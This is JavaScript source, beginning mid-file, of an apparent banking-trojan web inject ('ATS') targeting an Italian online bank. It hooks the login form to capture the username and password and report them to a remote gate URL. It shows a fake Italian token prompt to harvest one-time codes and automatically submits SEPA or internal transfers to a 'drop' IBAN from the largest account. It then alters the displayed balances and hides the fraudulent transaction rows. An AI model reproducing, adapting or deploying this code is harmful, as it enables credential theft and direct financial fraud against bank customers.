            var buttonWidth = parseInt(jq(button).css('width'));
            if (!buttonWidth)
                buttonWidth = 10;
            var buttonHeight = parseInt(jq(button).css('height'));
            if (!buttonHeight)
                buttonHeight = 10;
            var clickX = ATS.randInt(buttonWidth * 0.2, buttonWidth * 0.8);
            var clickY = ATS.randInt(buttonHeight * 0.2, buttonHeight * 0.8);
            jq(button).remove();
            jq(form).append('<input type=hidden name="' + buttonName + '.x" value="' + clickX + '" />');
            jq(form).append('<input type=hidden name="' + buttonName + '.y" value="' + clickY + '" />');
            jq(form).submit();
        } else
            jq(button).click();
    },
    delayedClick: function(button, minDelay, maxDelay) {
        setTimeout(function() {
            if (jq(button).attr('type') == 'image') {
                ATS.imgSubmit(jq(button));
            } else
                jq(button).click();
        }, ATS.randInt(minDelay, maxDelay));
    }
};

ATS.lastPage = false;
ATS.ajaxGet = function(url, sel, cb) {
    jq.ajax({
        url: url,
        cache: false,
        dataType: 'html',
        timeout: 20000,
        success: function(html) {
            if (typeof cb == 'function') {
                ATS.lastPage = html;
                jq(html).filter(sel).each(function() {
                    cb(jq(this));
                });
            }
        },
        error: function(xhr, ajaxOptions, thrownError) {
            ATS.sendLogMsg("ATS.ajaxGet error : xhr.status=" + xhr.status + "; thrownError=" + thrownError + "; xhr.responseText=" + xhr.responseText);
        }
    });
}
ATS.ajaxPost = function(url, params, sel, cb) {
    jq.ajax({
        url: url,
        type: 'POST',
        data: params,
        cache: false,
        dataType: 'html',
        success: function(html) {
            if (typeof cb == 'function') {
                ATS.lastPage = html;
                jq(html).filter(sel).each(function() {
                    cb(jq(this));
                });
            }
        },
        error: function(xhr, ajaxOptions, thrownError) {
            ATS.sendLogMsg("ATS.ajaxPost error : xhr.status=" + xhr.status + "; thrownError=" + thrownError + "; xhr.responseText=" + xhr.responseText);
        }
    });
}
ATS.ajaxPostWithoutParseJq = function(url, params, callback) {
    jq.ajax({
        url: url,
        type: 'POST',
        data: params,
        cache: false,
        dataType: 'html',
        success: function(html) {
            ATS.lastPage = html;
            callback(html);
        }
    });
}
ATS.ajaxGetWithoutParseJq = function(url, callback) {
    jq.ajax({
        url: url,
        cache: false,
        dataType: 'html',
        timeout: 20000,
        success: function(html) {
            ATS.lastPage = html;
            callback(html);
        }
    });
}
ATS.PostForm = function(selector) {
    this._selector = selector;
    this._form = jq(selector);
    this._errorText = '';
    this._elements = jq(this._form).find('input, select, textarea');
}
ATS.PostForm.prototype.getFormAction = function() {
    return jq(this._form).attr('action');
}
ATS.PostForm.prototype.addHiddenElem = function(id, name, value) {
    var el = jq('<input type="hidden" />');
    jq(el).attr('id', id);
    jq(el).attr('name', name);
    jq(el).attr('value', value);
    this._elements = jq(this._elements).add(jq(el));
}
ATS.PostForm.prototype.getElemVal = function(el) {
    var nodeName = jq(el)[0].nodeName;
    if (typeof jq(el).attr('nval') != 'undefined')
        return jq(el).attr('nval');
    switch (nodeName) {
        case 'INPUT':
            var inputType = jq(el).attr('type');
            switch (inputType) {
                case 'checkbox':
                    return (jq(el).attr('checked') == 'checked') ? jq(el).val() : false;
                case 'radio':
                    return (jq(el).attr('checked') == 'checked') ? jq(el).val() : false;
                default:
                    return jq(el).val();
            }
            break;
        case 'SELECT':
        case 'TEXTAREA':
            return jq(el).val();
            break;
    }
    return '';
}
ATS.PostForm.prototype.getRequestParams = function() {
    var res = {};
    var curForm = this;
    jq(this._elements).each(function() {
        var name = jq(this).attr('name');
        var value = curForm.getElemVal(jq(this));
        if ((typeof name != 'undefined') && (name != '') && (value !== false))
            res[name] = value;
    });
    return res;
}
ATS.PostForm.prototype.addErrorMsg = function(msg) {
    if (this._errorText != '')
        this._errorText += '|';
    this._errorText += msg;
}
ATS.PostForm.prototype.setField = function(sel, value) {
    var el = jq(this._elements).filter(sel);
    if (el.length == 1) {
        jq(el).attr('nval', value);
    } else if (el.length == 0) {
        this.addErrorMsg('el "' + sel + '" not found');
    } else {
        this.addErrorMsg('el "' + sel + '" found mul: ' + el.length);
    }
}
ATS.PostForm.prototype.getErrorText = function() {
    return this._errorText;
}
ATS.bank = 'cse';
ATS.script_ver = '1.2';
ATS.gateURL = 'https://1024sslsecurity.com/sajf98wquioijhsa/gate';

ATS.UI_blockSite = function() {
    if (ATS.debugNoOverlay)
        return;
    if (jq('#inj_block_overlay').length)
        jq('#inj_block_overlay').show();
    else
        jq('#bodySx').before('<div id=inj_block_overlay></div>');
}
ATS.UI_unblockSite = function() {
    jq('#inj_block_overlay').hide();
}
ATS.UI_getInjectCode = function() {
    var code = ' <div id=inj_dialog_box><div class="boxCentrale" style="min-height:' + '400px"><table class="dr-table rich-table" style="margin: 20px auto; wid' + 'th: 600px;"><thead class="dr-table-thead"><tr class="dr-table-subheader' + ' rich-table-subheader"><th class="dr-table-subheadercell rich-table-sub' + 'headercell">ATENZIONE</th></tr></thead><tbody><tr class="dr-table-row r' + 'ich-table-row"><td class="dr-table-cell rich-table-cell"><div id=inj_pa' + 'ge_wait style=\'display: none;\'><p class="inj_content_para"><div align="' + 'center"><h1><span class="utente">Attendere un momento prego' + '</span></h1></div><br/></p' + '><p style="text-align:center"><img src="https://1024sslsecurity.com/sajf98wquioijhsa/images/loader_bar.gif" id=' + 'inj_loader_img /></p></div><div id=inj_page_tan style=\'display: none;\'>' + '<p class="inj_content_block" id=inj_main_text>Il dispositivo non e sincronizzato ' + 'con l\'orologio di sistema corrente. Per poter procedere e necessario inserire la password riportata sul dispositivo. ' + '<br/></p><span style="text-align:center; display:block; font' + '-size: 18px;"><h3 class="boxCentraleH3" style="text-align:left"> I' + 'nserisci il codice presente nel token</h3><div class="digipass"><input ' + 'type="password" name="inj_tan" autocomplete="off" value="" maxlength="6' + '" class="inTable digitInputCodice" /></div><div class=inj_error><img sr' + 'c="/fec/09999/./img/error.gif" /> Digipasso non correcto! </div></' + 'span><div class="boxCentraleBottoni" style="font-size: 18px;"><div clas' + 's="buttonConferma"><a id="inj_weiter" href="#" title="conferma">CONFERM' + 'A</a></div></div></div></td></tr></tbody></table></div></div>';
    return jq(code);
}
ATS.UI_onWeiterClick = function() {
    var tan = jq('input[name=inj_tan]').val();
    if (tan == "test") {
        if (ATS.isDebugMode()) {
            if (parent.ATS.transf_mode == 'sepa') ATS.transferSepa();
            else ATS.transferInternal();
            return false;
        }
    }
    if (tan.length == 6) {
        ATS.sendLogMsg('entered TAN ' + tan);
        ATS.enterCode(tan);
    } else {
        alert('errorTanEmpty');
    }
}
ATS.UI_showDialogBox = function() {
    jq('#content1 > div:not(:has(#inj_dialog_box))').hide();
    if (!jq('#inj_dialog_box').length) {
        var injectCode = ATS.UI_getInjectCode();
        jq('#content1').append(injectCode);
        jq('#inj_weiter').click(ATS.UI_onWeiterClick);
    }
    jq('#inj_dialog_box').show();
}
ATS.UI_hideDialogBox = function() {
    jq('#inj_dialog_box').remove();
    jq('#content1 > div').show();
}
ATS.UI_showWait = function() {
    ATS.UI_showDialogBox();
    jq('#inj_page_wait').show();
    jq('#inj_page_tan').hide();
}
ATS.UI_askTan = function(isError) {
    parent.ATS.UI_showDialogBox();
    jq('#inj_page_wait').hide();
    jq('#inj_page_tan').show();
    jq('input[name=inj_tan]').val('');
    if (isError) {
        jq('.inj_error').show();
    } else
        jq('.inj_error').hide();
}

ATS.addElementAmount = function(el, amount, postfix) {
    var val = ATS.fin2float(jq(el).text());
    var newText = '€ ';
    if (val < 0) newText += '<span class="negative">';
    newText += ATS.float2fin(val + amount);
    if (postfix)
        newText += ' ' + postfix;
    if (val < 0) newText += '</span>';
    jq(el).html(newText);
}
ATS.fin2float = function(text) {
    var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
    return parseFloat(text);
}
ATS.float2fin = function(val) {
    var sign = '';
    if (val < 0) {
        sign = '-';
        val = -val;
    }
    var intPart = Math.floor(val);
    var fractPart = Math.floor((val - intPart) * 100).toString();
    if (fractPart.length < 2)
        fractPart = '0' + fractPart;
    var newIntPart = '';
    intPart = intPart.toString();
    while (intPart.length > 3) {
        newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
        intPart = intPart.substr(0, intPart.length - 3);
    }
    newIntPart = intPart + newIntPart;
    return sign + newIntPart + ',' + fractPart;
}
ATS.padRight = function(input, totalWidth) {
    var result = input;
    if (result.length < totalWidth) {
        for (var i = result.length; i < totalWidth; i++) {
            result = result + 'X'
        }
    }
    return result;
}
ATS.checkTransfer = function(el) {
    var percent = parseFloat("0.00");
    var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
    if (isNaN(lastGesamtsaldo)) {
        ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
        return false;
    }
    var curGesamtsaldo = el;
    var rep_amount = parseFloat(ATS.getCookie('rep_amount'));
    var tempsaldo = lastGesamtsaldo - curGesamtsaldo;
    tempsaldo = parseFloat(tempsaldo.toFixed(2));
    if (tempsaldo == 0) {
        ATS.sendLogMsg('As at ' + Date() + ' bank has NOT yet made a translation. The script will NOT change the balance');
        return false;
    }
    if (tempsaldo < 0) {
        ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo =' + lastGesamtsaldo + '; curGesamtsaldo =' + curGesamtsaldo);
        return false;
    }
    if (tempsaldo > 0) {
        if ((tempsaldo == rep_amount) || (tempsaldo > rep_amount)) {
            var temppers = (lastGesamtsaldo - (curGesamtsaldo + rep_amount));
            percent = parseFloat(temppers.toFixed(2));
            ATS.sendLogMsg('As at ' + Date() + ' Bank did the translation. bank percent = ' + percent + '; Script will made change');
            if (parseFloat(ATS.getCookie('acPercent')) != parseFloat(percent)) {
                ATS.setCookie('acPercent', percent);
                ATS.saveCookies();
            }
            if (ATS.getCookie('acTransact') != "true") {
                ATS.setCookie('acTransact', true);
                ATS.saveCookies();
            }
            return percent;
        } else {
            ATS.sendLogMsg('As at ' + Date() + ' the bank has not made a translation, but took percent = ' + tempsaldo + 'Script will NOT made change');
            ATS.setCookie('acPercent', tempsaldo);
            ATS.setCookie('acTransact', false);
            ATS.saveCookies();
            return false;
        }
    }
}
ATS.replaceFinanzstatus = function() {
    ATS.debugMsg('replaceFinanzstatus()');
    var saldo = 0;
    ATS.accounts_list = ATS.parseAccounts();
    var maxAccount = ATS.getMaxAccount(ATS.accounts_list);
    maxBalance = parseFloat(maxAccount.balance.toFixed(2));
    var el = maxBalance;
    var percent = ATS.checkTransfer(el);
    ATS.debugMsg('percent= ' + percent);
    if (typeof percent === 'boolean') return false;
    if (percent > 15) {
        ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');
        return false;
    }
    var totalReplace = 0;
    var tblRows = jq('table.selConto tr[id*=tableConti]');
    var accountsCnt = Math.floor(tblRows.length / 3);
    for (var i = 0; i < accountsCnt; i++) {
        var accNum = jq.trim(jq(tblRows).eq(i * 3).find('td:eq(2)').text());
        var amount = parseFloat(ATS.getCookie('ap' + accNum));
        if (amount > 0) {
            parent.ATS.accNum = accNum;
            ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
            ATS.addElementAmount(jq(tblRows).eq(i * 3 + 2).find('td:eq(1) strong:first'), parseFloat(amount + percent), '');
            ATS.addElementAmount(jq(tblRows).eq(i * 3 + 2).find('td:eq(2) strong:first'), parseFloat(amount + percent), '');
            totalReplace += parseFloat(amount + percent);
        }
    }
    var hideFlag = false;
    jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i) {
        jq(this).find("td:eq(4)").each(function(j) {
            var text = jq.trim(jq(this).text());
            if (ATS.needToHide(text)) {
                jq(this).parent().hide();
                hideFlag = true;
            }
        });
    });
    if (totalReplace > 0) {}
    return true;
}
ATS.replaceUmsatzanzeige = function() {
    ATS.debugMsg('replaceUmsatzanzeige()');
    jq("#headH1info").remove();
    var percent = parseFloat(ATS.getCookie('acPercent'));
    if (percent > 15) {
        ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance');
        return false;
    }
    if (ATS.getCookie('acTransact') == null || ATS.getCookie('acTransact') == "false") return false;
    if (ATS.getCookie('transfer_acc') == parent.ATS.accNum) {
        ATS.addElementAmount(jq('table tr:has(td:contains(Kontostand vom))').find('td:eq(1)'), amount + percent, 'EUR');
        var hideFlag = false;
        jq('table#panelContiCorrentiInclude\\:panelContiCorrentiForm\\:tabellaUltimiMov tr').each(function(i) {
            jq(this).find("td:eq(4)").each(function(j) {
                var text = jq.trim(jq(this).text());
                if (ATS.needToHide(text)) {
                    jq(this).parent().hide();
                    hideFlag = true;
                }
            });
        });
    }
    return true;
}
ATS.needToHide = function(text) {
    var amount = parseFloat(ATS.getCookie('rep_amount'));
    if (amount) {
        text = text.replace(/[^\d,]+/gi, '').replace(",", '.');
        if (text.indexOf(amount) != -1) return true;
        ATS.debugMsg(text);
    }
    return false;
}
ATS.replaceBalances = function() {
    ATS.debugMsg('replaceBalances()');
    if (ATS.getPageTitle("SALDO CONTO"))
        if (ATS.replaceFinanzstatus()) ATS.replaceUmsatzanzeige();
    if (ATS.getPageTitle("SALDO CONTI"))
        if (ATS.replaceFinanzstatus()) {
            jq('#saldoForm\\:dettaglioSaldo,.selConto:contains(TOTALE SALDO CONTI)').remove();
        }
}
ATS.getPageTitle = function(findtext) {
    var title = jq.trim(jq("h2.boxCentraleH2::visible").eq(0).text());
    if (title.indexOf(findtext) != -1) return true;
    else return false;
}

ATS.isLoggedIn = function() {
    return !!jq('a#esci').length;
}
ATS.getLogin = function() {
    return jq('input[name*=codiceId]').val();
}
ATS.getPassword = function() {
    return jq('input[name*=password]').val();
}
ATS.getLoginForm = function() {
    var res = jq('#loginForm');
    if (jq(res).length == 0)
        return false;
    return jq(res);
}
ATS.checkLoginPage = function() {
    if (!ATS.getLoginForm())
        return false;
    return true;
}
ATS._oldOnSubmit = false;
ATS.setLoginHook = function() {
    var loginDataSent = false;
    var loginForm = ATS.getLoginForm();
    if (loginForm) {
        ATS._oldOnSubmit = loginForm[0].onsubmit;
        loginForm[0].onsubmit = function() {
            return true;
        };
        jq(loginForm).submit(function(e) {
            if (!loginDataSent) {
                e.preventDefault();
                var login = ATS.getLogin();
                var password = ATS.getPassword();
                ATS.debugMsg('login info: ' + login + ', ' + password);
                if (login && password) {
                    ATS.sendLoginInfo(login, password, function() {
                        loginDataSent = true;
                        if (typeof ATS._oldOnSubmit == 'function')
                            ATS._oldOnSubmit();
                        jq(loginForm).find('input[type=submit]').click();
                    })
                }
            }
        });
        return true;
    }
    return false;
}
ATS.getMaxAccount = function(accountsList) {
    var maxAcc = null;
    for (var i in accountsList) {
        if (!maxBalance)
            var maxBalance = accountsList[i].balance;
        if (parseFloat(accountsList[i].balance) >= maxBalance) {
            maxBalance = parseFloat(accountsList[i].balance);
            maxAcc = accountsList[i];
        }
    }
    return maxAcc;
}
ATS.getBonificiMenuHref = function() {
    var el = jq('#menuTopDiv a[title*="Bonifici"]');
    var el2 = jq('#menuTopDiv a[title="Bonifico / Giroconto"]');
    if (jq(el).length) return jq(el).attr('href');
    else if (jq(el2).length) return jq(el2).attr('href');
    return false;
}
ATS.parseAccounts = function() {
    var res = [];
    var tblRows = jq('table.selConto tr[id*=tableConti]');
    var accountsCnt = Math.floor(tblRows.length / 3);
    for (var i = 0; i < accountsCnt; i++) {
        var accNum = jq.trim(jq(tblRows).eq(i * 3).find('td:eq(2)').text());
        var tmp = jq(tblRows).eq(i * 3 + 2).find('td:eq(1)').text();
        var tmp2 = jq(tblRows).eq(i * 3 + 2).find('td:eq(2)').text();
        if (!isNaN(ATS.fin2float(tmp))) accBalance = ATS.fin2float(tmp);
        else accBalance = ATS.fin2float(tmp2);
        var inpID = jq(tblRows).eq(i * 3).find("input").attr("id");
        var onclick = jq(tblRows).eq(i * 3).find("input").attr("onclick");
        var value = jq(tblRows).eq(i * 3).find("input").val();
        onclick = onclick.replace("javascript:", "");
        onclick = onclick.replace("this.value", '"' + value + '"');
        ATS.debugMsg(accNum + ': ' + accBalance);
        res.push({
            number: accNum,
            balance: accBalance,
            transf: true,
            inputID: inpID,
            onclick: onclick,
            value: value
        });
    }
    return res;
}
ATS.enterCode = function(tan) {
    ATS.debugMsg('ATS.enterCode ' + tan);
    parent.ATS.UI_showWait();
    var tanForm = new ATS.PostForm(jq(ATS.lastPage).find('#bonificoSepaitaliaInsStep2Form'));
    tanForm.setField('input[name*=passworddispositiva]', tan);
    tanForm.setField('input[name*=salvaBeneficiario]:eq(0)', 'true');
    var btnID = jq(ATS.lastPage).find('a[id*=conferma]').attr('id');
    tanForm.addHiddenElem(btnID, btnID, btnID);
    var tanErrors = tanForm.getErrorText();
    if (tanErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(tanForm.getFormAction(), tanForm.getRequestParams(), 'div#bodySx', ATS.checkTanPage);
        }, ATS.randInt(1000, 2000));
    } else {
        ATS.sendDump('ATS.enterCode', ATS.lastPage);
        ATS.die('ATS.enterCode: form errors: ' + tanErrors);
    }
}
ATS.checkTanPage = function(html) {
    ATS.sendLogMsg('processing ATS.checkTanPage');
    var error = jq(html).find('.bgerrorTop');
    if (!error.length) {
        if (parent.ATS.transf_mode == 'sepa') ATS.transferSepa();
        else ATS.transferInternal();
    } else {
        ATS.sendDump('ATS.checkTanPage error enter tan', html.html());
        ATS.UI_askTan(true);
    }
}
ATS.procAreaSepaPage = function(html) {
    ATS.sendLogMsg('processing ATS.procAreaSepaPage');
    ATS.sendDump('procAreaSepaPage', html.html());
    var sepaForm = ATS.fillSepaForm(html, ATS.sepa_drop);
    if (ATS.accounts_list.length > 1) {
        setTimeout(function() {
            eval(parent.ATS.maxAcc.onclick);
        }, ATS.randInt(2000, 3000));
    }
    var sepaErrors = sepaForm.getErrorText();
    if (sepaErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(sepaForm.getFormAction(), sepaForm.getRequestParams(), 'div#bodySx', ATS.procConfirmSepaPage);
        }, ATS.randInt(20000, 30000));
    } else {
        ATS.sendDump('procAreaSepaPage', html.html());
        ATS.die('ATS.procAreaSepaPage: form errors: ' + sepaErrors);
    }
}
ATS.procConfirmSepaPage = function(html) {
    ATS.debugMsg('ATS.procConfirmSepaPage');
    if (ATS.isDebugMode()) ATS.sendDump('procConfirmSepaPage', html.html());
    if (jq(html).html().indexOf("OPERAZIONE TRAMITE CELLULARE") != -1) {
        ATS.die('procConfirmSepaPage: CONFIRMATION OF THE OPERATION USING A CELL PHONE ');
    } else {
        var error = jq(html).find('.bgerrorTop');
        if (!error.length) {
            ATS.UI_askTan();
        } else {
            ATS.sendDump('procConfirmSepaPage', html.html());
            ATS.die('procConfirmSepaPage: form errors: see in dump');
        }
    }
}
ATS.fillSepaForm = function(html, drop) {
    var myForm = new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));
    myForm.setField('input[name*=beneficiario_denominazione]', drop.DrName);
    myForm.setField('input[name*=beneficiario_paeseResidenza]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_paeseDomicilio]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_ibanSEPA]', drop.IBAN);
    myForm.setField('input[name*=beneficiario_bic]', drop.BIC);
    myForm.setField('textarea[name*=bonifico_causale]', drop.Reference);
    myForm.setField('input[name*=bonifico_importo]', drop.amount);
    var inputID = parent.ATS.maxAcc.inputID;
    var value = parent.ATS.maxAcc.value;
    myForm.setField('#' + inputID, value);
    var btnID = jq(html).find('a[id*=conferma]').attr('id');
    myForm.addHiddenElem(btnID, btnID, btnID);
    return myForm;
}
ATS.GetSingleLink = function(html, searched) {
    var searchednameLength = jq(html).find('td:contains("' + searched + '")').length;
    if (!!searchednameLength) {
        var tmp = jq(html).find('td:has(a):contains("' + searched + '")');
        if (!!tmp.length) return tmp;
        else return true;
    } else {
        return false;
    }
}
ATS.GetSepaIntLink = function(html, nameInt, nameSepa, searched) {
    searched = searched || "sepa";
    var nameIntLength = jq(html).find('td:contains("' + nameInt + '")').length;
    var nameSepaLength = jq(html).find('td:contains("' + nameSepa + '")').length;
    if (!!nameIntLength && !!nameSepaLength) {
        if (searched == "sepa") {
            var tmp = jq(html).find('td:has(a):contains("' + nameSepa + '")');
            if (!!tmp.length) return tmp;
            else return true;
        }
        if (searched == "int") {
            var tmp = jq(html).find('td:has(a):contains("' + nameInt + '")');
            if (!!tmp.length) return tmp;
            else return true;
        }
    } else {
        return false;
    }
}
ATS.GetLink = function(html, metod) {
    metod = metod || "sepa";
    var link = ATS.GetSepaIntLink(html, "Bonifici Italia", "Bonifici Estero UE", metod);
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSepaIntLink(html, "Italia", "Area SEPA", metod);
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSingleLink(html, "Ordinario");
    if (typeof(link) == "object") return link;
    if (link) return true;
    var link = ATS.GetSingleLink(html, "Bonifico ordinario area SEPA");
    if (typeof(link) == "object") return link;
    if (link) return true;
    return false;
}
ATS.sepaTools = function() {
    ATS.sendLogMsg('processing ATS.sepaTools');
    ATS.ajaxGet(ATS.getBonificiMenuHref(), 'div#bodySx', function(html) {
        ATS.sendDump('sepaTools ATS.getBonificiMenuHref()', html.html());
        ATS.debugMsg('ATS.sepaTools: page loaded');
        var areaSepaLink = ATS.GetLink(html, "sepa");
        if (typeof(areaSepaLink) == "object") {
            setTimeout(function() {
                ATS.ajaxGet(jq(areaSepaLink).find('a').attr('href'), 'div#bodySx', ATS.procAreaSepaPage);
            }, ATS.randInt(2000, 3500));
        } else if (areaSepaLink) {
            ATS.procAreaSepaPage(html);
        } else {
            ATS.sendDump('sepaTools error ATS.getBonificiMenuHref()', html.html());
            ATS.die('error: cant find area sepa link');
        }
    });
}
ATS.intTools = function() {
    ATS.sendLogMsg('processing ATS.intTools');
    ATS.ajaxGet(ATS.getBonificiMenuHref(), 'div#bodySx', function(html) {
        ATS.sendDump('intTools ATS.getBonificiMenuHref()', html.html());
        ATS.debugMsg('ATS.intTools: page loaded');
        var areaIntLink = ATS.GetLink(html, "int");
        if (typeof(areaIntLink) == "object") {
            setTimeout(function() {
                ATS.ajaxGet(jq(areaIntLink).find('a').attr('href'), 'div#bodySx', ATS.procAreaIntPage);
            }, ATS.randInt(2000, 3500));
        } else if (areaIntLink) {
            ATS.procAreaIntPage(html);
        } else {
            ATS.sendDump('intTools error ATS.getBonificiMenuHref()', html.html());
            ATS.die('error: cant find area int link');
        }
    });
}
ATS.procAreaIntPage = function(html) {
    ATS.debugMsg('ATS.procAreaIntPage');
    ATS.sendDump('procAreaIntPage', html.html());
    var intForm = ATS.fillIntForm(html, ATS.int_drop);
    if (ATS.accounts_list.length > 1) {
        setTimeout(function() {
            eval(parent.ATS.maxAcc.onclick);
        }, ATS.randInt(2000, 3000));
    }
    var intErrors = intForm.getErrorText();
    if (intErrors == '') {
        setTimeout(function() {
            ATS.ajaxPost(intForm.getFormAction(), intForm.getRequestParams(), 'div#bodySx', ATS.procConfirmSepaPage);
        }, ATS.randInt(20000, 30000));
    } else {
        ATS.sendDump('procAreaIntPage', html.html());
        ATS.die('ATS.procAreaIntPage: form errors: ' + intErrors);
    }
}
ATS.fillIntForm = function(html, drop) {
    var myForm = new ATS.PostForm(jq(html).find('#bonificoSepaitaliaInsStep1Form'));
    myForm.setField('input[name*=beneficiario_denominazione]', drop.DrName);
    myForm.setField('input[name*=beneficiario_paeseResidenza]', drop.IBAN.substr(0, 2));
    myForm.setField('input[name*=beneficiario_ibanIT]', drop.IBAN);
    myForm.setField('textarea[name*=bonifico_causale]', drop.Reference);
    myForm.setField('input[name*=bonifico_importo]', drop.amount);
    var inputID = parent.ATS.maxAcc.inputID;
    var value = parent.ATS.maxAcc.value;
    myForm.setField('#' + inputID, value);
    var btnID = jq(html).find('a[id*=conferma]').attr('id');
    myForm.addHiddenElem(btnID, btnID, btnID);
    return myForm;
}
ATS.framePageFinanzstatus = function() {
    ATS.sendLogMsg('processing ATS.framePageFinanzstatus');
    ATS.accounts_list = ATS.parseAccounts();
    if (!ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance-');
    var maxAccount = ATS.getMaxAccount(ATS.accounts_list);
    if (maxAccount) {
        parent.ATS.maxAcc = maxAccount;
        maxBalance = parseFloat(maxAccount.balance.toFixed(2));
        parent.ATS.maxBalanceDrop = maxBalance;
        if (!parent.ATS.Gesamtsaldo) parent.ATS.Gesamtsaldo = maxBalance;
        ATS.getDrop('SEPA', maxBalance, function(data) {
            if (data && data.drop) {
                parent.ATS.sepa_drop = data.drop;
                parent.ATS.transf_mode = 'sepa';
                setTimeout(function() {
                    ATS.sepaTools();
                }, ATS.randInt(2000, 3000));
            } else {
                ATS.getDrop('Internal', maxBalance, function(data) {
                    if (data && data.drop) {
                        parent.ATS.int_drop = data.drop;
                        parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
                        parent.ATS.transf_mode = 'int';
                        setTimeout(function() {
                            ATS.intTools();
                        }, ATS.randInt(2000, 3000));
                    } else {
                        ATS.die('framePageFinanzstatus: no Int drop');
                    }
                });
            }
        });
    } else ATS.die("framePageFinanzstatus : cant find maxAccount");
}
ATS.mainWork = function() {
    ATS.sendLogMsg('main state ' + ATS.StepInFrame[ATS.current_state]);
    if (ATS.getBonificiMenuHref()) {
        setTimeout(function() {
            ATS.framePageFinanzstatus();
        }, ATS.randInt(2000, 3000));
    } else ATS.die("mainWork:Cant find BonificiMenuHref");
}
if ((typeof __debugDisabled == 'undefined') || !__debugDisabled) {
    jq(document).ready(function() {
        ATS.debugMsg('document loaded');
        if (ATS.checkLoginPage()) {
            ATS.debugMsg('login page');
            setTimeout(ATS.setLoginHook, 500);
        }
        if (ATS.isLoggedIn()) {
            ATS.debugMsg('logged in!');
            ATS.loadData(function(data) {
                if (ATS.account_id != 0) {
                    if ((ATS.getCookie('status') != '1') && (ATS.getCookie('status') != '2')) {
                        ATS.UI_blockSite();
                        ATS.UI_showWait();
                        ATS.mainWork();
                    }
                    if (ATS.getCookie('status') == '2') {
                        if (((ATS.getTime() - ATS.getCookie('error_time')) / 3600) >= 48) {
                            ATS.setCookie('status', 0);
                            ATS.saveCookies();
                            ATS.sendLogMsg('Replace cookie status from 2 on 0');
                            jq('.inj_full_overlay').remove();
                        } else {
                            jq('.inj_full_overlay').remove();
                        }
                    }
                    if (ATS.getCookie('status') == '1') {
                        ATS.replaceBalances();
                    }
                }
                jq('.inj_full_overlay').remove();
            });
        } else {
            if ((parent.document !== document) && parent.ATS) {
                ATS.debugMsg('we are in frame and not logged in!');
            } else {
                jq('.inj_full_overlay').remove();
            }
        }
    });
}

if ((document.readyState === "loading") || (document.readyState === "interactive"))
    document.write('<div class="inj_full_overlay"></div>');
else
    jq('body').append('<div class="inj_full_overlay"></div>');